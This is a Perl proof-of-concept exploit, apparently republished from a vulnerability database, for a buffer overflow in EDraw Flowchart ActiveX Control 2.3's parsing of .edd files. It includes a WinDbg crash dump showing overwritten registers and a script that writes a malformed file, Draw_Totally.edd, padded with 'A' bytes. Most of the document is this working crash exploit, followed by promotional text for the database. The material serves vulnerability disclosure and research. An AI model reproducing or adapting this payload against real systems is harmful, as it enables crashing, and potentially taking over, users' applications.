#!/usr/bin/perl
#
#
# Title: EDraw Flowchart ActiveX Control 2.3 (.edd parsing) Remote Buffer Overflow PoC
#
#
# Vendor: EdrawSoft
#
# Product Web Page: http://www.edrawsoft.com
#
# Summary: Do you want to learn how to draw? Now you can online! Learn how to draw like a
# local application with Edraw Flowchart ActiveX Control that lets you quickly
# build basic flowcharts, organizational charts, business charts, hr diagram,
# work flow, programming flowchart and network diagrams.
#
# Description: EDraw Flowchart ActiveX Control version 2.3 suffers from a buffer overflow
# vulnerability when parsing .edd file format resulting in an application
# crash and overwritten few memory registers which can aid the attacker to
# execute arbitrary code.
#
# Tested On: Microsoft Windows XP Professional SP3 (EN)
#
# Version Tested: 2.3.0.6
#
#
# Windbg:
# --------------------------------------------------------------------------------------
#
# (305c.1ee4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=027a0020 ebx=00000000 ecx=0c841000 edx=3fffff45 esi=0012f2e4 edi=41414141
# eip=10083bbd esp=0012f198 ebp=01055734 iopl=0 nv up ei pl nz na po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
# EDImage!DllUnregisterServer+0x5594d:
# 10083bbd 895904 mov dword ptr [ecx+4],ebx ds:0023:0c841004=????????
#
# --------------------------------------------------------------------------------------
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Zero Science Lab - http://www.zeroscience.mk
#
# liquidworm gmail com
#
#
#
# 20.04.2010
#
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4935.php
#
#
$pqbdpq = "\x00\x0C\x00\x00\x00\x00\x00\x00\x00\x33\x73\x46\x44\x1F\x55\x8C\x44\x00".
"\x00\x3D\x43\x00\x00\x3D\x43\x00\x00\x3D\x43\x00\x00\x3D\x43\x00\x00\x80".
"\x3F\xFF\xFF\xFF\xFF\xFF\x90\x99\xAE\xFF\x6C\x72\x82\x02\x00\x00\x00\x01".
"\x00\x00\x00\xFF\xFF\x00\x03\xFF\x22\x37\xEA\x01\x00\x00\x00\xFF\xAD\xD8".
"\xE6\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x3F\x02\x00\x00\x00\x01".
"\x00\x00\x00\xFF\xF4\x00\x00\x00\x00\x00\x00\x00\x00\x42\x43\x1F\xF5\xA3".
"\x44\x33\x73\x46\x44\x00\x00\xA0\x40\x33\xB3\x75\x44\x00\x00\x42\x43\x00".
"\x00\xA0\x40\x1F\x55\x8C\x44\x00\x00\x3D\x43\x00\x00\x3D\x43\x33\x73\x46".
"\x44\x1F\x55\x8C\x44\x00\x01\x00\xFF\xFF\x00\x00\x06\x00\x43\x53\x52\x65".
"\x63\x74\x01\x00\x00\xA8\x2C\x02\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x00\x00\x00\x00\x55\x01\x00\x00\xD7\x01\x00\x00\xDC\x01\x00\x00\x76\x02".
"\x00\x00\x00\x00\xAE\x43\x00\x00\xFB\x43\x00\x00\xEA\x43\x00\x80\x1B\x44".
"\x00\x00\xCC\x43\x00\x80\x1B\x44\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00".
"\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F".
"\x00\x00\xF0\x42\x00\x00\xF0\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xCC\x43\x00\x80\x0C\x44\x08\x00\x00\x00\x06\x43\x53\x52\x65\x63\x74\x00".
"\x00\x00\x80\x3F\x00\x00\x00\x00\x00\x06\x31\x30\x30\x31\x2C\x32\x00\xFF".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x80\x3F\x00\x00\x00\x00\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00".
"\xFF\x00\x00\x00\x00\x00\x80\x3F\x01\x00\x00\x00\x00\x00\x00\x00\xFF\x00".
"\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00".
"\x00\xFF\x02\x00\x00\x00\xFE\xFF\xFF\xFF\xFF\x00\x00\x00\xFF\xFF\xFF\xFF".
"\x00\x00\x01\x00\xFF\xFF\x00\x00\x08\x00\x43\x54\x65\x78\x74\x4F\x62\x6A".
"\x00\x00\x01\x20\x2D\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x20\x44\x00\x00\x20\x44\x00\x00\x3E\x44\x00\x00\x3E\x44\x00\x00".
"\x2F\x44\x00\x00\x3E\x44\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F".
"\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00".
"\xE6\x42\x00\x00\xE6\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC\x43".
"\x00\x80\x0C\x44\x00\x00\x00\x00\x08\x43\x54\x65\x78\x74\x4F\x62\x6A\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x3F\x00\x00\x00\x00".
"\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00".
"\x80\x3F\x01\x00\x00\x00\x00\x00\x00\x00\xFF\x00\x00\x00\x00\x02\x00\x00".
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xFF\x02\x00\x00\x00".
"\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00".
"\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xCC\x43\x00\x40\xFC\x43\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x40\xAF\x43\x00\x40".
"\xFC\x43\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x04\x00\x00\x00\x00\x00\xCC\x43\x00\x40\xFC\x43\x01\x00\x00\x00\x20\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\xC0\xE8\x43".
"\x00\x40\xFC\x43\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x04\x00\x00\x00\x00\xC0\xE8\x43\x00\x80\x0C\x44\x01\x00\x00\x00".
"\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00";
$qpdbqp = "\xC0\xE8\x43\x00\xE0\x1A\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00\xE0\x1A\x44\x01".
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00".
"\x00\x00\x40\xAF\x43\x00\xE0\x1A\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x40\xAF\x43\x00\x80\x0C".
"\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04".
"\x00\x00\x00\x00\x00\xCC\x43\x00\xC0\xEF\x43\x01\x00\x00\x00\x40\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00".
"\x80\x0C\x44\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x25\x0D\x10\xFF\x00\x00\x00".
"\xFF\xFF\xFF\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xCB\xCE\xCC\xE5\x0A".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\x05".
"\x00\x00\x00\x00\x00\x00\xCC\x43\x00\x00\xFB\x43\x01\x00\x00\xEA\x43\x00".
"\xC0\x08\x44\x01\x00\x80\xE2\x43\x00\x80\x1B\x44\x01\x00\x80\xB5\x43\x00".
"\x80\x1B\x44\x81\x00\x00\xAE\x43\x00\xC0\x08\x44\x10\x00\x00\x00\x00\x00".
"\x00\x00\xCC\x43\x00\x00\xFB\x43\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00".
"\xFF\xFF\x00\x00\x07\x00\x43\x43\x74\x72\x6C\x50\x74\x04\x00\x00\x00\x00".
"\x00\xCC\x43\x00\x00\xFB\x43\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xBF\x05\x80\x04\x00\x00\x00\x00\x00\xAE\x43\x00\xC0\x08".
"\x44\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\xBF\x00\x00\x00\xBE\x05".
"\x80\x04\x00\x00\x00\x00\x00\xEA\x43\x00\xC0\x08\x44\x01\x00\x00\x00\x02".
"\x00\x00\x00\x00\x00\x00\x3F\x00\x00\x00\xBE\x05\x80\x04\x00\x00\x00\x00".
"\x80\xB5\x43\x00\x80\x1B\x44\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\xC0".
"\xBE\x00\x00\x00\x3F\x05\x80\x04\x00\x00\x00\x00\x80\xE2\x43\x00\x80\x1B".
"\x44\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\xC0\x3E\x00\x00\x00\x3F\x04".
"\x00\x00\x00\x00\x00\xAE\x43\x00\x00\xFB\x43\x01\x00\x00\x00\x20\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00".
"\x00\xFB\x43\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x04\x00\x00\x00\x00\x00\xEA\x43\x00\x00\xFB\x43\x01\x00\x00\x00\x20".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xEA".
"\x43\x00\x80\x0C\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x04\x00\x00\x00\x00\x00\xEA\x43\x00\x80\x1B\x44\x01\x00\x00".
"\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00".
"\x00\xCC\x43\x00\x80\x1B\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xAE\x43\x00\x80\x1B\x44\x01".
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00".
"\x00\x00\x00\xAE\x43\x00\x80\x0C\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00\x80\xEE".
"\x43\x01\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04".
"\x00\x00\x00\x00\x00\xCC\x43\x00\x80\x0C\x44\x03\x00\x00\x00\x01\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$dpqpqb = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
$bppqqd = "Draw_Totally.edd";
open edd, ">./$bppqqd" || die "\nCan't open $bppqqd: $!";
print edd "$pqbdpq" . "$dpqpqb x 50" . "$qpdbqp";
print "\n ~ Buffering...\n"; sleep 1;
close edd;
print "\n ~ File $bppqqd ready!\n";
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation